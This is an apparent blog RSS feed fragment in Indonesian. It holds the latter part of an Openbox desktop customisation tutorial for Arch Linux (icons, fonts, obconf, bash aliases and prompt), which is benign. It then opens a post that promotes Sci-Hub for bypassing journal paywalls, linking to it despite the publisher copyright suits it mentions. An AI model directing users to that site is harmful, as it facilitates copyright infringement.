&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;642&quot; src=&quot;/_astro/ss21.P9voJutH_ZcncaM.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk menambahkan icon aplikasi untuk &lt;em&gt;shortcut&lt;/em&gt;, klik &lt;strong&gt;Theme&lt;/strong&gt; (di pojok kiri atas) -&amp;gt; &lt;strong&gt;Edit Theme&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Di bagian &lt;strong&gt;Launcher&lt;/strong&gt;, tinggal pilih aplikasi-aplikasi yang ingin ditampilkan, kemudian klik &lt;strong&gt;Apply&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;401&quot; src=&quot;/_astro/gif4.DD11VVqu_1PvEXX.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di bagian &lt;strong&gt;Taskbar&lt;/strong&gt;, pastikan tidak ada yang terceklis. Klik &lt;strong&gt;Apply&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;277&quot; src=&quot;/_astro/ss22.CmlcwfH4_1rL0fh.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di bagian &lt;strong&gt;Panel&lt;/strong&gt;, klik pada posisi &lt;strong&gt;atas tengah&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;255&quot; src=&quot;/_astro/ss23.DX6SgFeA_ZiNde6.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;3. Thunar&lt;a href=&quot;#3-thunar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Ketika pertama kali membuka &lt;code&gt;thunar&lt;/code&gt;, akan melihat tampilannya sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;639&quot; height=&quot;472&quot; src=&quot;/_astro/ss10.D-6Tm6qT_2aUMHq.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tampak bahwa saya hanya memiliki satu default folder, yaitu folder atau direktori &lt;strong&gt;Downloads&lt;/strong&gt; saja. Nah, untuk menampilkan semua &lt;em&gt;default&lt;/em&gt; folder pada home &lt;em&gt;directory&lt;/em&gt;, kita bisa menggunakan &lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/xdg-user-dirs/&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;xdg-user-dirs&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Install dulu,…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xdg-user-dirs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, untuk men-generate folder-folder default di home directory, ketikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xdg-user-dirs-update&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;393&quot; src=&quot;/_astro/gif2.cW648Deg_YSQve.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Untuk menampilkannya di sidebar sebagai &lt;em&gt;shortcut&lt;/em&gt;, tinggal &lt;em&gt;drag and drop&lt;/em&gt; seperti berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;764&quot; src=&quot;/_astro/gif3.C-rJhZo8_1SI0AM.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;4. Obconf&lt;a href=&quot;#4-obconf&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pada bagian ini, saya akan menggunakan &lt;code&gt;obconf&lt;/code&gt; (&lt;em&gt;Openbox Configuration Manager&lt;/em&gt;) sebagai GTK &lt;em&gt;tools&lt;/em&gt; untuk mengganti tema window dan juga menghapus animasi-nya (dengan alasan kecepatan dan efisiensi). Untuk mengampilkan &lt;code&gt;obconf&lt;/code&gt;, ketikkan obconf di terminal.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mengganti Tema Window&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;obconf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, di bagian &lt;em&gt;&lt;strong&gt;Themes&lt;/strong&gt;&lt;/em&gt;, kita pilih &lt;strong&gt;“Onyx”&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;807&quot; height=&quot;677&quot; src=&quot;/_astro/ss8.V-9Z5139_Z2iIPiI.webp&quot; /&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Menghapus Animasi Window&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Di bagian &lt;em&gt;&lt;strong&gt;Appearance&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;un-check&lt;/em&gt; &lt;strong&gt;Animate iconify and restore&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;151&quot; src=&quot;/_astro/ss9.DcpCVgo__ZGHS0k.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;5. Icons&lt;a href=&quot;#5-icons&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya akan mengganti icon default ke papirus.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;360&quot; src=&quot;/_astro/ss11.Cd6lXpdW_1JQDue.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Pertama, kita download dulu icon-nya di sini:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Papirus Icons&lt;/strong&gt;: &lt;a href=&quot;https://www.xfce-look.org/p/1166289&quot; target=&quot;_blank&quot;&gt;https://www.xfce-look.org/p/1166289&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Pada bagian &lt;strong&gt;Files&lt;/strong&gt;, pilih file yang paling atas.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;277&quot; src=&quot;/_astro/ss12.DNS08JWw_1KtzK6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita unzip filenya&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gunzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gunzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;papirus-icon-theme-20240501.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;papirus-icon-theme-20240501.tar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Kalau belum punya &lt;code&gt;gunzip&lt;/code&gt; dan &lt;code&gt;tar&lt;/code&gt;, tinggal install:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss13&quot; loading=&quot;lazy&quot; width=&quot;603&quot; height=&quot;251&quot; src=&quot;/_astro/ss13.DDSFbamb_Z24dQ8p.webp&quot; /&gt;&lt;figcaption&gt;ss13&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita punya 5 direktori icon Papirus dengan variasinya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss14&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;209&quot; src=&quot;/_astro/ss14.DBEJAjfk_Z17wz1V.webp&quot; /&gt;&lt;figcaption&gt;ss14&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pindahkan ke direktori &lt;code&gt;~/.icons&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.icons&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# buat direktori .icons jika belum ada&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.icons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-r&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/Papirus&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/ePapirus&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss15&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;317&quot; src=&quot;/_astro/ss15.ETgjr83q_xS3jo.webp&quot; /&gt;&lt;figcaption&gt;ss15&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Buka &lt;code&gt;lxappearance&lt;/code&gt;, pada bagian &lt;strong&gt;Icon Theme&lt;/strong&gt;, pilih &lt;strong&gt;Papirus&lt;/strong&gt;, klik &lt;strong&gt;Apply&lt;/strong&gt;.
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss16&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;565&quot; src=&quot;/_astro/ss16.DObj1Tod_XXMNy.webp&quot; /&gt;&lt;figcaption&gt;ss16&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan icon theme Papirus berhasil diinstall.
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss17&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;447&quot; src=&quot;/_astro/ss17.D3suia2C_1lhr9a.webp&quot; /&gt;&lt;figcaption&gt;ss17&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;6. Font&lt;a href=&quot;#6-font&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Font yang akan saya pasang adalah Jetbrains. So, kita install:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-jetbrains-mono&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ttf-jetbrains-mono-nerd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Buka &lt;code&gt;lxappearance&lt;/code&gt;, di bagian &lt;strong&gt;Widget&lt;/strong&gt;, ubah Default font dari Cantarel ke &lt;strong&gt;Jetbrains Mono 10&lt;/strong&gt;, klik &lt;strong&gt;Apply&lt;/strong&gt;.
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss19&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;554&quot; src=&quot;/_astro/ss19.CkofaT8i_ZC9Ht9.webp&quot; /&gt;&lt;figcaption&gt;ss19&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;7. Bash&lt;a href=&quot;#7-bash&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di &lt;em&gt;section&lt;/em&gt; ini, kita akan menginstall beberapa &lt;em&gt;tools&lt;/em&gt; dan mengkonfigurasi &lt;em&gt;shell prompt&lt;/em&gt; di &lt;code&gt;.bashrc&lt;/code&gt;. &lt;em&gt;Tools&lt;/em&gt; yang akan diinstall yaitu&lt;/p&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Package Name&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;eza&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;ls&lt;/code&gt; &lt;em&gt;alternative&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;bat&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;cat&lt;/code&gt; &lt;em&gt;alternative&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eza&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, buka file konfigurasi bash (&lt;code&gt;.bashrc&lt;/code&gt;) untuk mengganti &lt;code&gt;ls&lt;/code&gt; dengan &lt;code&gt;eza&lt;/code&gt; dan &lt;code&gt;cat&lt;/code&gt; dengan &lt;code&gt;bat&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.bashrc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;eza&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;bat&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, kita akan mengganti &lt;em&gt;shell prompt&lt;/em&gt; supaya terlihat lebih keren dan informatif seperti berikut:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss18&quot; loading=&quot;lazy&quot; width=&quot;403&quot; height=&quot;86&quot; src=&quot;/_astro/ss18.Br6GcOY1_TXXSK.webp&quot; /&gt;&lt;figcaption&gt;ss18&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Caranya, kita perlu menambahkan baris berikut di &lt;code&gt;.bashrc&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#PS1=&apos;[\u@\h \W]\$ &apos; # default shell prompt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;PS1&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;[\u@\H] [\w] [\d \@]\n\[\e[38;5;196;1m\]cmd\[\e[0m\] &amp;gt; &apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Saya men-&lt;em&gt;desain shell prompt&lt;/em&gt; tersebut melalui website berikut:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Bash Prompt Generator&lt;/strong&gt;: &lt;a href=&quot;https://bash-prompt-generator.org/&quot; target=&quot;_blank&quot;&gt;https://bash-prompt-generator.org/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Saya cukupkan dulu…&lt;/p&gt;&lt;p&gt;Sekian untuk tutorial singkat Openbox kali ini, semoga bermanfaat…&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di artikel-artikel saya yang lain…&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://distrowatch.com/search.php?desktop=Openbox&quot; target=&quot;_blank&quot;&gt;https://distrowatch.com/search.php?desktop=Openbox&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/openbox&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/openbox&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/AUR_helpers&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/AUR_helpers&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Bypassing Article Journal Paywall using Scihub</title><link>https://shangdi.github.io/posts/tech/scihub/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/scihub/</guid><description>Sci-Hub is the most controversial project in modern science. The goal of Sci-Hub is to provide free and unrestricted access to all scientific knowledge.</description><pubDate>Tue, 21 May 2024 02:10:19 GMT</pubDate><content:encoded>&lt;p&gt;Kalian adalah seorang peneliti yang membutuhkan jurnal yang berstandar internasional tapi terkendala karena tidak bisa mengaksesnya? Solusinya adalah Scihub!&lt;/p&gt;
&lt;section&gt;&lt;h1&gt;About Sci-hub&lt;a href=&quot;#about-sci-hub&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;&lt;a href=&quot;https://sci-hub.se/&quot; target=&quot;_blank&quot;&gt;Sci-hub&lt;/a&gt; adalah situs web “perpustakaan bayangan” yang didirkan oleh seorang perempuan asal Kazakhstan yang lahir pada tahun 1988 bernama &lt;a href=&quot;https://sci-hub.se/alexandra#&quot; target=&quot;_blank&quot;&gt;Alexandra Elbakyan&lt;/a&gt;. Disebut “perpustakaan bayangan” karena sci-hub memberikan akses ke jutaan artikel penelitian berbayar secara gratis hanya dengan meng-&lt;em&gt;input&lt;/em&gt;-kan tautan DOI (&lt;em&gt;Digital Object Identifier&lt;/em&gt;) sebuah artikel ke situs sci-hub.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Alexandra Elbakyan&quot; loading=&quot;lazy&quot; width=&quot;3456&quot; height=&quot;5184&quot; src=&quot;/_astro/ss1.DWbZLdMa_Z1TIuGr.webp&quot; /&gt;&lt;figcaption&gt;Alexandra Elbakyan&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Situs ini didirikan pada tahun 2011 oleh perempuan lulusan jurusan Teknologi Informasi dari Kazakh National Technical University juga karena alasan mahalnya biaya makalah atau artikel penelitian yang tersedia di internet. Sejak kemunculannya pertama kali, sci-hub sudah berkali-kali diblokir karena digugat oleh pihak-pihak yang terkait, seperti &lt;a href=&quot;https://www.elsevier.com/&quot; target=&quot;_blank&quot;&gt;Elsevier&lt;/a&gt;, &lt;a href=&quot;https://www.springer.com/gp&quot; target=&quot;_blank&quot;&gt;Springer&lt;/a&gt;, &lt;a href=&quot;https://onlinelibrary.wiley.com/&quot; target=&quot;_blank&quot;&gt;Wiley&lt;/a&gt;, &lt;a href=&quot;https://www.cambridge.org/universitypress&quot; target=&quot;_blank&quot;&gt;Cambrige University Press&lt;/a&gt;, &lt;a href=&quot;https://www.acs.org/&quot; target=&quot;_blank&quot;&gt;American Chemical Society&lt;/a&gt;, dan pihak-pihak lainnya yang merasa dirugikan sebagai situs ilegal yang melanggar hak cipta.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;522&quot; src=&quot;/_astro/ss2.C83GdoYW_2vvu7A.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Namun, per hari ini, sci-hub masih tetap aktif dengan berbagai alternatif domain dengan browser pada umumnya seperti chrome, firefox, safari, dan browser lainnya. Sci-hub hadir dengan filosofi bahwa mereka bukanlah pembajak (&lt;em&gt;pirate&lt;/em&gt;) dan &lt;em&gt;project&lt;/em&gt; sci-hub bukan &lt;em&gt;project&lt;/em&gt; ilegal karena yang membatasi akses kepada informasi dan pengetahuanlah yang justru ilegal.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Sci-hub mengklaim bahwa mereka sudah memiliki lebih dari 88,343,822 &lt;em&gt;database&lt;/em&gt; artikel penelitian dan buku yang dapat diunduh secara gratis.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1283&quot; height=&quot;640&quot; src=&quot;/_astro/ss3.tClZzgI4_Z1zgUNC.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;h1&gt;&lt;strong&gt;KNOWLEDGE MUST BE FREE&lt;/strong&gt;&lt;a href=&quot;#knowledge-must-be-free&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;/blockquote&gt;&lt;/section&gt;
